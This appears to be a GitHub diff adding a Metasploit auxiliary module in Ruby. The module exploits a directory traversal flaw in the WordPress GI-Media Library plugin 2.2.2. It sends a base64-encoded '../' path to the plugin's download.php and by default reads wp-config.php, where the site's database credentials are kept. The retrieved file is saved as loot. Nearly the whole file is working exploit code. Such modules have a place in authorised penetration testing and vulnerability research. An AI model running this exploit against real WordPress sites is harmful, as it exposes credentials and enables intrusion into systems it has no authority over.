|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'WordPress GI-Media Library Plugin File Read Vulnerability', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability in WordPress Plugin |
| 19 | + GI-Media Library version 2.2.2, allowing to read arbitrary files from the |
| 20 | + system with the web server privileges. This module has been tested successfully |
| 21 | + on GI-Media Library version 2.2.2 with WordPress 4.1.3 on Ubuntu 12.04 Server. |
| 22 | + }, |
| 23 | + 'References' => |
| 24 | + [ |
| 25 | + ['WPVDB', '7754'], |
| 26 | + ['URL', 'http://wordpressa.quantika14.com/repository/index.php?id=24'] |
| 27 | + ], |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Unknown', # Vulnerability discovery - QuantiKa14? |
| 31 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE |
| 34 | + )) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + OptString.new('FILEPATH', [true, 'The wordpress file to read', 'wp-config.php']), |
| 39 | + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the wordpress root folder)', 3 ]) |
| 40 | + ], self.class) |
| 41 | + end |
| 42 | + |
| 43 | + def check |
| 44 | + check_plugin_version_from_readme('gi-media-library', '3.0') |
| 45 | + end |
| 46 | + |
| 47 | + def run_host(ip) |
| 48 | + traversal = '../' * datastore['DEPTH'] |
| 49 | + filename = datastore['FILEPATH'] |
| 50 | + filename = filename[1, filename.length] if filename =~ /^\// |
| 51 | + |
| 52 | + res = send_request_cgi( |
| 53 | + 'method' => 'GET', |
| 54 | + 'uri' => normalize_uri(wordpress_url_plugins, 'gi-media-library', 'download.php'), |
| 55 | + 'vars_get' => |
| 56 | + { |
| 57 | + 'fileid' => Rex::Text.encode_base64(traversal + filename) |
| 58 | + } |
| 59 | + ) |
| 60 | + |
| 61 | + if res && res.code == 200 && res.body && res.body.length > 0 |
| 62 | + fname = datastore['FILEPATH'] |
| 63 | + |
| 64 | + path = store_loot( |
| 65 | + 'gimedia-library.file', |
| 66 | + 'text/plain', |
| 67 | + ip, |
| 68 | + res.body, |
| 69 | + fname |
| 70 | + ) |
| 71 | + |
| 72 | + print_good("#{peer} - File saved in: #{path}") |
| 73 | + else |
| 74 | + vprint_error("#{peer} - Nothing was downloaded. Check the path and the traversal parameters.") |
| 75 | + end |
| 76 | + end |
| 77 | +end |
0 commit comments